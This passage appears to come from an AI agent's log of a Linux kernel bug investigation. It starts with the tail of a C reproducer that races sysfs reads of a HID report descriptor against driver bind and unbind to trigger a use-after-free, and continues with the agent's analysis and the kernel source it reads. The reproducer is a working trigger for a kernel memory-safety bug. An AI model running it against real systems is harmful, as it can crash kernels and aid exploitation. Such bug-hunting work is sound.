ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
fprintf(stderr, "Device not found. Is uhid enabled?\n");
return 1;
}
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
perror("open bind/unbind (is hid-logitech loaded?)");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
return 0;
}
```
|
| 5/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 7267
output: 43
thoughts: 221
Thoughts: **Analyzing a KASAN Slab-Use-After-Free Read**
Okay, so I've got a KASAN report here, indicating a use-after-free read. It's happening in `report_descriptor_read+0xb5/0x100`, which is in `drivers/hid/hid-core.c:2265`. Interesting. The size of the problematic read is 36 bytes at address `ffff888037dd9b80`. I need to figure out the chain here.
The report says the object was originally allocated by `hid_open_report`, specifically at line 1376 within `drivers/hid/hid-core.c`, using `kmemdup_noprof`. Right, `kmemdup_noprof` usually points to something significant, a duplicate, likely a report descriptor copy. I am missing the free trace here, which is a key piece of information, though wait, the output of the KASAN report does say that a 64-byte region was freed, and the report mentions both allocation and freeing. It allocated by task 19335, and last allocated via order 0, and page last free PID 23, I need to look into this more deeply.
Now, I need to get into the code itself. My next step is definitely to open up `drivers/hid/hid-core.c` and take a close look at the `report_descriptor_read` function. I need to understand what it's trying to do, how it's accessing this memory, and how it's getting a pointer to the report descriptor. Then, I can hopefully trace the path back to the `hid_open_report` allocation and understand how the object is being freed. This is going to be fun.
|
| 6/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:report_descriptor_read]
Results: map[SourceCode:2251: static ssize_t
2252: report_descriptor_read(struct file *filp, struct kobject *kobj,
2253: const struct bin_attribute *attr,
2254: char *buf, loff_t off, size_t count)
2255: {
2256: struct device *dev = kobj_to_dev(kobj);
2257: struct hid_device *hdev = to_hid_device(dev);
2258:
2259: if (off >= hdev->rsize)
2260: return 0;
2261:
2262: if (off + count > hdev->rsize)
2263: count = hdev->rsize - off;
2264:
2265: memcpy(buf, hdev->rdesc + off, count);
2266:
2267: return count;
2268: }
SourceFile:drivers/hid/hid-core.c]
|
| 7/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 8218
output: 43
thoughts: 140
Thoughts: **Analyzing a Use-After-Free Vulnerability in HID Driver**
Okay, so I'm looking at this UAF situation, specifically within the `memcpy` call: `memcpy(buf, hdev->rdesc + off, count);`. This screams "potential memory corruption" to me. My initial hunch is that `hdev->rdesc` is getting freed prematurely, but `hdev->rsize` isn't properly updated, or the pointer is accessed after it's been freed. That's the core problem.
Now, I need to trace this `hdev->rdesc` allocation and deallocation to verify this. Based on the provided context, the allocation happens in `hid_open_report`, which uses `kmemdup_noprof`. That points to line 1376 of `hid-core.c`. This is where the report descriptor gets allocated. Now the critical part is understanding *when* and *where* this memory is freed - to identify the source of the UAF. I need to investigate the other functions involved to understand how the pointer is deallocated, and where/when the invalid access is performed.
|
| 8/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_open_report]
Results: map[SourceCode:1332: /**
1333: * hid_open_report - open a driver-specific device report
1334: *
1335: * @device: hid device
1336: *
1337: * Parse a report description into a hid_device structure. Reports are
1338: * enumerated, fields are attached to these reports.
1339: * 0 returned on success, otherwise nonzero error value.
1340: *
1341: * This function (or the equivalent hid_parse() macro) should only be
1342: * called from probe() in drivers, before starting the device.
1343: */
1344: int hid_open_report(struct hid_device *device)
1345: {
1346: unsigned int size;
1347: const u8 *start;
1348: int error;
1349:
1350: if (WARN_ON(device->status & HID_STAT_PARSED))
1351: return -EBUSY;
1352:
1353: start = device->bpf_rdesc;
1354: if (WARN_ON(!start))
1355: return -ENODEV;
1356: size = device->bpf_rsize;
1357:
1358: if (device->driver->report_fixup) {
1359: /*
1360: * device->driver->report_fixup() needs to work
1361: * on a copy of our report descriptor so it can
1362: * change it.
1363: */
1364: u8 *buf __free(kfree) = kmemdup(start, size, GFP_KERNEL);
1365:
1366: if (!buf)
1367: return -ENOMEM;
1368:
1369: start = device->driver->report_fixup(device, buf, &size);
1370:
1371: /*
1372: * The second kmemdup is required in case report_fixup() returns
1373: * a static read-only memory, but we have no idea if that memory
1374: * needs to be cleaned up or not at the end.
1375: */
1376: start = kmemdup(start, size, GFP_KERNEL);
1377: if (!start)
1378: return -ENOMEM;
1379: }
1380:
1381: device->rdesc = start;
1382: device->rsize = size;
1383:
1384: error = hid_parse_collections(device);
1385: if (error) {
1386: hid_close_report(device);
1387: return error;
1388: }
1389:
1390: return 0;
1391: }
SourceFile:drivers/hid/hid-core.c]
|
| 9/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 9482
output: 43
thoughts: 44
Thoughts: Okay, let me think this through.
**Investigating a HID Report Descriptor Memory Leak**
Right, so I'm trying to track down a potential memory leak related to HID report descriptors. I seem to recall that the `device->rdesc` variable gets allocated somewhere within `hid_open_report`. Now the crucial question is, where is this memory being deallocated? I need to find the corresponding free operation.
My initial thought is to check `hid_close_report` since that's logically where you'd expect a resource opened by an "open" function to be closed. But, it's also worth investigating `hid_device_release`, just in case the freeing is handled during the device's lifecycle management, especially if it happens later or is part of a broader release process. I'll need to look closely at both functions to be sure.
|
| 10/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_close_report]
Results: map[SourceCode: 707: /*
708: * Close report. This function returns the device
709: * state to the point prior to hid_open_report().
710: */
711: static void hid_close_report(struct hid_device *device)
712: {
713: unsigned i, j;
714:
715: for (i = 0; i < HID_REPORT_TYPES; i++) {
716: struct hid_report_enum *report_enum = device->report_enum + i;
717:
718: for (j = 0; j < HID_MAX_IDS; j++) {
719: struct hid_report *report = report_enum->report_id_hash[j];
720: if (report)
721: hid_free_report(report);
722: }
723: memset(report_enum, 0, sizeof(*report_enum));
724: INIT_LIST_HEAD(&report_enum->report_list);
725: }
726:
727: /*
728: * If the HID driver had a rdesc_fixup() callback, dev->rdesc
729: * will be allocated by hid-core and needs to be freed.
730: * Otherwise, it is either equal to dev_rdesc or bpf_rdesc, in
731: * which cases it'll be freed later on device removal or destroy.
732: */
733: if (device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc)
734: kfree(device->rdesc);
735: device->rdesc = NULL;
736: device->rsize = 0;
737:
738: kfree(device->collection);
739: device->collection = NULL;
740: device->collection_size = 0;
741: device->maxcollection = 0;
742: device->maxapplication = 0;
743:
744: device->status &= ~HID_STAT_PARSED;
745: }
SourceFile:drivers/hid/hid-core.c]
|
| 11/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 10390
output: 43
thoughts: 219
Thoughts: **Analyzing a Potential Race Condition**
Okay, so I'm looking at this `hid_close_report` function, and it seems like it frees `device->rdesc` and sets it to `NULL`. Simultaneously, it sets `device->rsize` to `0`. That seems straightforward. But then it hits me: if those two values are set to `NULL` and `0` respectively, how on earth is `report_descriptor_read` supposed to access the report descriptor?
Wait a second... it uses `hdev->rsize` and `hdev->rdesc`, not `device->rsize` and `device->rdesc`! That makes more sense. So, if `hid_close_report` correctly sets those to `0` and `NULL`, then `report_descriptor_read` would see `hdev->rsize == 0` and return 0, as it should. Okay, that seems logical... but hold on!
What if a race condition is present? Suppose that `report_descriptor_read` reads `hdev->rsize` (which, at that point, would be greater than zero), then `hid_close_report` runs and promptly frees `hdev->rdesc`, and *then* `report_descriptor_read` attempts to read `hdev->rdesc`? We have a problem with a use-after-free scenario. This could get ugly.
Okay, let's go back and take another look at the `report_descriptor_read` function with this potential race condition in mind. We need to be absolutely certain we don't have a problem here.
|
| 12/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:report_descriptor_read]
Results: map[SourceCode:2251: static ssize_t
2252: report_descriptor_read(struct file *filp, struct kobject *kobj,
2253: const struct bin_attribute *attr,
2254: char *buf, loff_t off, size_t count)
2255: {
2256: struct device *dev = kobj_to_dev(kobj);
2257: struct hid_device *hdev = to_hid_device(dev);
2258:
2259: if (off >= hdev->rsize)
2260: return 0;
2261:
2262: if (off + count > hdev->rsize)
2263: count = hdev->rsize - off;
2264:
2265: memcpy(buf, hdev->rdesc + off, count);
2266:
2267: return count;
2268: }
SourceFile:drivers/hid/hid-core.c]
|
| 13/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 11293
output: 51
thoughts: 109
Thoughts: **Analyzing a Potential Race Condition in the HID Report Descriptor Read**
Okay, so I've been looking at this `report_descriptor_read` function, and it's hitting me that there's no explicit locking mechanism in place. That's immediately raising a red flag. If `hid_close_report` gets called concurrently with `report_descriptor_read` – and here's the tricky bit – `hdev->rdesc` can be freed right out from under it while the read operation is still in progress. That's a classic memory corruption scenario.
Now, when *is* `hid_close_report` called, exactly? Let me think... typically, it's triggered when the device is removed from the system or when it's unbound from its driver. Right, those are definitely possible concurrency points.
Wait, isn't `report_descriptor_read` a sysfs attribute? Ah yes, it's implemented as a `bin_attribute`, so it's exposed to userspace. That definitely opens the door to external interactions and potential race conditions.
Okay, I need to trace this back. Let's see where exactly `report_descriptor_read` is registered. I need to get a clear picture of how it's exposed and how it interacts with the rest of the HID core.
|
| 14/2 |
2026/05/19 10:07 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeSnippetLines:5 Name:report_descriptor_read SourceTreePrefix:]
Results: map[References:<nil> TruncatedOutput:false]
|
| 15/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 11751
output: 54
thoughts: 26
Thoughts: Here's my thought process, summarized as you requested:
**Navigating the HID Landscape**
Okay, so I'm trying to figure out how this particular HID function works. I know it's a core function, so I'm thinking I need to zero in on the relevant code. Given my understanding of the system, my immediate thought is to check the `drivers/hid/` directory, which houses the HID drivers, and within that, the `hid-core.c` file feels like the most likely place. Now, let me get to it... I need to search specifically for `report_descriptor_read`. That's where I should start digging.
|
| 16/2 |
2026/05/19 10:07 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeSnippetLines:5 Name:report_descriptor_read SourceTreePrefix:drivers/hid]
Results: map[References:<nil> TruncatedOutput:false]
|
| 17/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 11989
output: 19
thoughts: 15
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience, and written in the first person:
**Initial Assessment: Empty Return & Immediate Diagnostics**
Right, the tool returned nothing. Seems the expected data wasn't found. Hmm, not unexpected, but I need to quickly diagnose the situation. First instinct? Let's bypass the tool's intended output and try a direct grep. It's often the quickest way to verify the data's existence, even if it's not structured or formatted as expected. Grepping the underlying data directly provides a sanity check, letting me know whether it's the tool that's failing or if the data itself is genuinely absent. This is a common and efficient workflow when dealing with tools, always check if your assumptions are correct.
|
| 18/2 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:report_descriptor_read]
Results: map[Output:drivers/hid/hid-core.c=2251=static ssize_t
drivers/hid/hid-core.c:2252:report_descriptor_read(struct file *filp, struct kobject *kobj,
drivers/hid/hid-core.c-2253- const struct bin_attribute *attr,
]
|
| 19/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 12283
output: 24
thoughts: 28
Thoughts: Here's my attempt at summarizing the thought process, as if I were having them:
**Debugging Inquiry - Missing Reference**
Okay, hold on a second...something feels off. I was expecting to see a reference to this function or variable somewhere, but I'm drawing a blank. It's odd, especially given the context I was working in. Time to dig in and verify.
My initial thought is that it's buried somewhere in the HID core. Let's start with `hid-core.c`. Given the potential scope of this, a function that's being missed could be around that 2251 line, give or take. I'm going to scan that area and see if I can find some clues to understand how it's being used. Maybe I missed something in my initial sweeps. Time to do some focused code spelunking!
|
| 20/2 |
2026/05/19 10:07 |
tool |
read-file |
0m
Args: map[File:drivers/hid/hid-core.c]
Results: map[Contents:// SPDX-License-Identifier: GPL-2.0-or-later
/*
* HID support for Linux
*
* Copyright (c) 1999 Andreas Gal
* Copyright (c) 2000-2005 Vojtech Pavlik <vojtech@suse.cz>
* Copyright (c) 2005 Michael Haboustak <mike-@cinci.rr.com> for Concept2, Inc
* Copyright (c) 2006-2012 Jiri Kosina
*/
/*
*/
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/mm.h>
#include <linux/spinlock.h>
#include <linux/unaligned.h>
#include <asm/byteorder.h>
#include <linux/input.h>
#include <linux/wait.h>
#include <linux/vmalloc.h>
#include <linux/sched.h>
#include <linux/semaphore.h>
#include <linux/hid.h>
#include <linux/hiddev.h>
#include <linux/hid-debug.h>
#include <linux/hidraw.h>
#include "hid-ids.h"
/*
* Version Information
*/
#define DRIVER_DESC "HID core driver"
static int hid_ignore_special_drivers = 0;
module_param_named(ignore_special_drivers, hid_ignore_special_drivers, int, 0600);
MODULE_PARM_DESC(ignore_special_drivers, "Ignore any special drivers and handle all devices by generic driver");
/*
* Convert a signed n-bit integer to signed 32-bit integer.
*/
static s32 snto32(__u32 value, unsigned int n)
{
if (!value || !n)
return 0;
if (n > 32)
n = 32;
return sign_extend32(value, n - 1);
}
/*
* Convert a signed 32-bit integer to a signed n-bit integer.
*/
static u32 s32ton(__s32 value, unsigned int n)
{
s32 a;
if (!value || !n)
return 0;
if (n > 32)
n = 32;
a = value >> (n - 1);
if (a && a != -1)
return value < 0 ? 1 << (n - 1) : (1 << (n - 1)) - 1;
return value & ((1 << n) - 1);
}
/*
* Register a new report for a device.
*/
struct hid_report *hid_register_report(struct hid_device *device,
enum hid_report_type type, unsigned int id,
unsigned int application)
{
struct hid_report_enum *report_enum = device->report_enum + type;
struct hid_report *report;
if (id >= HID_MAX_IDS)
return NULL;
if (report_enum->report_id_hash[id])
return report_enum->report_id_hash[id];
report = kzalloc_obj(struct hid_report);
if (!report)
return NULL;
if (id != 0)
report_enum->numbered = 1;
report->id = id;
report->type = type;
report->size = 0;
report->device = device;
report->application = application;
report_enum->report_id_hash[id] = report;
list_add_tail(&report->list, &report_enum->report_list);
INIT_LIST_HEAD(&report->field_entry_list);
return report;
}
EXPORT_SYMBOL_GPL(hid_register_report);
/*
* Register a new field for this report.
*/
static struct hid_field *hid_register_field(struct hid_report *report, unsigned usages)
{
struct hid_field *field;
if (report->maxfield == HID_MAX_FIELDS) {
hid_err(report->device, "too many fields in report\n");
return NULL;
}
field = kvzalloc((sizeof(struct hid_field) +
usages * sizeof(struct hid_usage) +
3 * usages * sizeof(unsigned int)), GFP_KERNEL);
if (!field)
return NULL;
field->index = report->maxfield++;
report->field[field->index] = field;
field->usage = (struct hid_usage *)(field + 1);
field->value = (s32 *)(field->usage + usages);
field->new_value = (s32 *)(field->value + usages);
field->usages_priorities = (s32 *)(field->new_value + usages);
field->report = report;
return field;
}
/*
* Open a collection. The type/usage is pushed on the stack.
*/
static int open_collection(struct hid_parser *parser, unsigned type)
{
struct hid_collection *collection;
unsigned usage;
int collection_index;
usage = parser->local.usage[0];
if (parser->collection_stack_ptr == parser->collection_stack_size) {
unsigned int *collection_stack;
unsigned int new_size = parser->collection_stack_size +
HID_COLLECTION_STACK_SIZE;
collection_stack = krealloc(parser->collection_stack,
new_size * sizeof(unsigned int),
GFP_KERNEL);
if (!collection_stack)
return -ENOMEM;
parser->collection_stack = collection_stack;
parser->collection_stack_size = new_size;
}
if (parser->device->maxcollection == parser->device->collection_size) {
collection = kmalloc(
array3_size(sizeof(struct hid_collection),
parser->device->collection_size,
2),
GFP_KERNEL);
if (collection == NULL) {
hid_err(parser->device, "failed to reallocate collection array\n");
return -ENOMEM;
}
memcpy(collection, parser->device->collection,
sizeof(struct hid_collection) *
parser->device->collection_size);
memset(collection + parser->device->collection_size, 0,
sizeof(struct hid_collection) *
parser->device->collection_size);
kfree(parser->device->collection);
parser->device->collection = collection;
parser->device->collection_size *= 2;
}
parser->collection_stack[parser->collection_stack_ptr++] =
parser->device->maxcollection;
collection_index = parser->device->maxcollection++;
collection = parser->device->collection + collection_index;
collection->type = type;
collection->usage = usage;
collection->level = parser->collection_stack_ptr - 1;
collection->parent_idx = (collection->level == 0) ? -1 :
parser->collection_stack[collection->level - 1];
if (type == HID_COLLECTION_APPLICATION)
parser->device->maxapplication++;
return 0;
}
/*
* Close a collection.
*/
static int close_collection(struct hid_parser *parser)
{
if (!parser->collection_stack_ptr) {
hid_err(parser->device, "collection stack underflow\n");
return -EINVAL;
}
parser->collection_stack_ptr--;
return 0;
}
/*
* Climb up the stack, search for the specified collection type
* and return the usage.
*/
static unsigned hid_lookup_collection(struct hid_parser *parser, unsigned type)
{
struct hid_collection *collection = parser->device->collection;
int n;
for (n = parser->collection_stack_ptr - 1; n >= 0; n--) {
unsigned index = parser->collection_stack[n];
if (collection[index].type == type)
return collection[index].usage;
}
return 0; /* we know nothing about this usage type */
}
/*
* Concatenate usage which defines 16 bits or less with the
* currently defined usage page to form a 32 bit usage
*/
static void complete_usage(struct hid_parser *parser, unsigned int index)
{
parser->local.usage[index] &= 0xFFFF;
parser->local.usage[index] |=
(parser->global.usage_page & 0xFFFF) << 16;
}
/*
* Add a usage to the temporary parser table.
*/
static int hid_add_usage(struct hid_parser *parser, unsigned usage, u8 size)
{
if (parser->local.usage_index >= HID_MAX_USAGES) {
hid_err(parser->device, "usage index exceeded\n");
return -1;
}
parser->local.usage[parser->local.usage_index] = usage;
/*
* If Usage item only includes usage id, concatenate it with
* currently defined usage page
*/
if (size <= 2)
complete_usage(parser, parser->local.usage_index);
parser->local.usage_size[parser->local.usage_index] = size;
parser->local.collection_index[parser->local.usage_index] =
parser->collection_stack_ptr ?
parser->collection_stack[parser->collection_stack_ptr - 1] : 0;
parser->local.usage_index++;
return 0;
}
/*
* Register a new field for this report.
*/
static int hid_add_field(struct hid_parser *parser, unsigned report_type, unsigned flags)
{
struct hid_report *report;
struct hid_field *field;
unsigned int max_buffer_size = HID_MAX_BUFFER_SIZE;
unsigned int usages;
unsigned int offset;
unsigned int i;
unsigned int application;
application = hid_lookup_collection(parser, HID_COLLECTION_APPLICATION);
report = hid_register_report(parser->device, report_type,
parser->global.report_id, application);
if (!report) {
hid_err(parser->device, "hid_register_report failed\n");
return -1;
}
/* Handle both signed and unsigned cases properly */
if ((parser->global.logical_minimum < 0 &&
parser->global.logical_maximum <
parser->global.logical_minimum) ||
(parser->global.logical_minimum >= 0 &&
(__u32)parser->global.logical_maximum <
(__u32)parser->global.logical_minimum)) {
dbg_hid("logical range invalid 0x%x 0x%x\n",
parser->global.logical_minimum,
parser->global.logical_maximum);
return -1;
}
offset = report->size;
report->size += parser->global.report_size * parser->global.report_count;
if (parser->device->ll_driver->max_buffer_size)
max_buffer_size = parser->device->ll_driver->max_buffer_size;
/* Total size check: Allow for possible report index byte */
if (report->size > (max_buffer_size - 1) << 3) {
hid_err(parser->device, "report is too long\n");
return -1;
}
if (!parser->local.usage_index) /* Ignore padding fields */
return 0;
usages = max_t(unsigned, parser->local.usage_index,
parser->global.report_count);
field = hid_register_field(report, usages);
if (!field)
return 0;
field->physical = hid_lookup_collection(parser, HID_COLLECTION_PHYSICAL);
field->logical = hid_lookup_collection(parser, HID_COLLECTION_LOGICAL);
field->application = application;
for (i = 0; i < usages; i++) {
unsigned j = i;
/* Duplicate the last usage we parsed if we have excess values */
if (i >= parser->local.usage_index)
j = parser->local.usage_index - 1;
field->usage[i].hid = parser->local.usage[j];
field->usage[i].collection_index =
parser->local.collection_index[j];
field->usage[i].usage_index = i;
field->usage[i].resolution_multiplier = 1;
}
field->maxusage = usages;
field->flags = flags;
field->report_offset = offset;
field->report_type = report_type;
field->report_size = parser->global.report_size;
field->report_count = parser->global.report_count;
field->logical_minimum = parser->global.logical_minimum;
field->logical_maximum = parser->global.logical_maximum;
field->physical_minimum = parser->global.physical_minimum;
field->physical_maximum = parser->global.physical_maximum;
field->unit_exponent = parser->global.unit_exponent;
field->unit = parser->global.unit;
return 0;
}
/*
* Read data value from item.
*/
static u32 item_udata(struct hid_item *item)
{
switch (item->size) {
case 1: return item->data.u8;
case 2: return item->data.u16;
case 4: return item->data.u32;
}
return 0;
}
static s32 item_sdata(struct hid_item *item)
{
switch (item->size) {
case 1: return item->data.s8;
case 2: return item->data.s16;
case 4: return item->data.s32;
}
return 0;
}
/*
* Process a global item.
*/
static int hid_parser_global(struct hid_parser *parser, struct hid_item *item)
{
__s32 raw_value;
switch (item->tag) {
case HID_GLOBAL_ITEM_TAG_PUSH:
if (parser->global_stack_ptr == HID_GLOBAL_STACK_SIZE) {
hid_err(parser->device, "global environment stack overflow\n");
return -1;
}
memcpy(parser->global_stack + parser->global_stack_ptr++,
&parser->global, sizeof(struct hid_global));
return 0;
case HID_GLOBAL_ITEM_TAG_POP:
if (!parser->global_stack_ptr) {
hid_err(parser->device, "global environment stack underflow\n");
return -1;
}
memcpy(&parser->global, parser->global_stack +
--parser->global_stack_ptr, sizeof(struct hid_global));
return 0;
case HID_GLOBAL_ITEM_TAG_USAGE_PAGE:
parser->global.usage_page = item_udata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_LOGICAL_MINIMUM:
parser->global.logical_minimum = item_sdata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_LOGICAL_MAXIMUM:
if (parser->global.logical_minimum < 0)
parser->global.logical_maximum = item_sdata(item);
else
parser->global.logical_maximum = item_udata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_PHYSICAL_MINIMUM:
parser->global.physical_minimum = item_sdata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_PHYSICAL_MAXIMUM:
if (parser->global.physical_minimum < 0)
parser->global.physical_maximum = item_sdata(item);
else
parser->global.physical_maximum = item_udata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_UNIT_EXPONENT:
/* Many devices provide unit exponent as a two's complement
* nibble due to the common misunderstanding of HID
* specification 1.11, 6.2.2.7 Global Items. Attempt to handle
* both this and the standard encoding. */
raw_value = item_sdata(item);
if (!(raw_value & 0xfffffff0))
parser->global.unit_exponent = snto32(raw_value, 4);
else
parser->global.unit_exponent = raw_value;
return 0;
case HID_GLOBAL_ITEM_TAG_UNIT:
parser->global.unit = item_udata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_REPORT_SIZE:
parser->global.report_size = item_udata(item);
if (parser->global.report_size > 256) {
hid_err(parser->device, "invalid report_size %d\n",
parser->global.report_size);
return -1;
}
return 0;
case HID_GLOBAL_ITEM_TAG_REPORT_COUNT:
parser->global.report_count = item_udata(item);
if (parser->global.report_count > HID_MAX_USAGES) {
hid_err(parser->device, "invalid report_count %d\n",
parser->global.report_count);
return -1;
}
return 0;
case HID_GLOBAL_ITEM_TAG_REPORT_ID:
parser->global.report_id = item_udata(item);
if (parser->global.report_id == 0 ||
parser->global.report_id >= HID_MAX_IDS) {
hid_err(parser->device, "report_id %u is invalid\n",
parser->global.report_id);
return -1;
}
return 0;
default:
hid_err(parser->device, "unknown global tag 0x%x\n", item->tag);
return -1;
}
}
/*
* Process a local item.
*/
static int hid_parser_local(struct hid_parser *parser, struct hid_item *item)
{
__u32 data;
unsigned n;
__u32 count;
data = item_udata(item);
switch (item->tag) {
case HID_LOCAL_ITEM_TAG_DELIMITER:
if (data) {
/*
* We treat items before the first delimiter
* as global to all usage sets (branch 0).
* In the moment we process only these global
* items and the first delimiter set.
*/
if (parser->local.delimiter_depth != 0) {
hid_err(parser->device, "nested delimiters\n");
return -1;
}
parser->local.delimiter_depth++;
parser->local.delimiter_branch++;
} else {
if (parser->local.delimiter_depth < 1) {
hid_err(parser->device, "bogus close delimiter\n");
return -1;
}
parser->local.delimiter_depth--;
}
return 0;
case HID_LOCAL_ITEM_TAG_USAGE:
if (parser->local.delimiter_branch > 1) {
dbg_hid("alternative usage ignored\n");
return 0;
}
return hid_add_usage(parser, data, item->size);
case HID_LOCAL_ITEM_TAG_USAGE_MINIMUM:
if (parser->local.delimiter_branch > 1) {
dbg_hid("alternative usage ignored\n");
return 0;
}
parser->local.usage_minimum = data;
return 0;
case HID_LOCAL_ITEM_TAG_USAGE_MAXIMUM:
if (parser->local.delimiter_branch > 1) {
dbg_hid("alternative usage ignored\n");
return 0;
}
count = data - parser->local.usage_minimum;
if (count + parser->local.usage_index >= HID_MAX_USAGES) {
/*
* We do not warn if the name is not set, we are
* actually pre-scanning the device.
*/
if (dev_name(&parser->device->dev))
hid_warn(parser->device,
"ignoring exceeding usage max\n");
data = HID_MAX_USAGES - parser->local.usage_index +
parser->local.usage_minimum - 1;
if (data <= 0) {
hid_err(parser->device,
"no more usage index available\n");
return -1;
}
}
for (n = parser->local.usage_minimum; n <= data; n++)
if (hid_add_usage(parser, n, item->size)) {
dbg_hid("hid_add_usage failed\n");
return -1;
}
return 0;
default:
dbg_hid("unknown local item tag 0x%x\n", item->tag);
return 0;
}
return 0;
}
/*
* Concatenate Usage Pages into Usages where relevant:
* As per specification, 6.2.2.8: "When the parser encounters a main item it
* concatenates the last declared Usage Page with a Usage to form a complete
* usage value."
*/
static void hid_concatenate_last_usage_page(struct hid_parser *parser)
{
int i;
unsigned int usage_page;
unsigned int current_page;
if (!parser->local.usage_index)
return;
usage_page = parser->global.usage_page;
/*
* Concatenate usage page again only if last declared Usage Page
* has not been already used in previous usages concatenation
*/
for (i = parser->local.usage_index - 1; i >= 0; i--) {
if (parser->local.usage_size[i] > 2)
/* Ignore extended usages */
continue;
current_page = parser->local.usage[i] >> 16;
if (current_page == usage_page)
break;
complete_usage(parser, i);
}
}
/*
* Process a main item.
*/
static int hid_parser_main(struct hid_parser *parser, struct hid_item *item)
{
__u32 data;
int ret;
hid_concatenate_last_usage_page(parser);
data = item_udata(item);
switch (item->tag) {
case HID_MAIN_ITEM_TAG_BEGIN_COLLECTION:
ret = open_collection(parser, data & 0xff);
break;
case HID_MAIN_ITEM_TAG_END_COLLECTION:
ret = close_collection(parser);
break;
case HID_MAIN_ITEM_TAG_INPUT:
ret = hid_add_field(parser, HID_INPUT_REPORT, data);
break;
case HID_MAIN_ITEM_TAG_OUTPUT:
ret = hid_add_field(parser, HID_OUTPUT_REPORT, data);
break;
case HID_MAIN_ITEM_TAG_FEATURE:
ret = hid_add_field(parser, HID_FEATURE_REPORT, data);
break;
default:
if (item->tag >= HID_MAIN_ITEM_TAG_RESERVED_MIN &&
item->tag <= HID_MAIN_ITEM_TAG_RESERVED_MAX)
hid_warn_ratelimited(parser->device, "reserved main item tag 0x%x\n", item->tag);
else
hid_warn_ratelimited(parser->device, "unknown main item tag 0x%x\n", item->tag);
ret = 0;
}
memset(&parser->local, 0, sizeof(parser->local)); /* Reset the local parser environment */
return ret;
}
/*
* Process a reserved item.
*/
static int hid_parser_reserved(struct hid_parser *parser, struct hid_item *item)
{
dbg_hid("reserved item type, tag 0x%x\n", item->tag);
return 0;
}
/*
* Free a report and all registered fields. The field->usage and
* field->value table's are allocated behind the field, so we need
* only to free(field) itself.
*/
static void hid_free_report(struct hid_report *report)
{
unsigned n;
kfree(report->field_entries);
for (n = 0; n < report->maxfield; n++)
kvfree(report->field[n]);
kfree(report);
}
/*
* Close report. This function returns the device
* state to the point prior to hid_open_report().
*/
static void hid_close_report(struct hid_device *device)
{
unsigned i, j;
for (i = 0; i < HID_REPORT_TYPES; i++) {
struct hid_report_enum *report_enum = device->report_enum + i;
for (j = 0; j < HID_MAX_IDS; j++) {
struct hid_report *report = report_enum->report_id_hash[j];
if (report)
hid_free_report(report);
}
memset(report_enum, 0, sizeof(*report_enum));
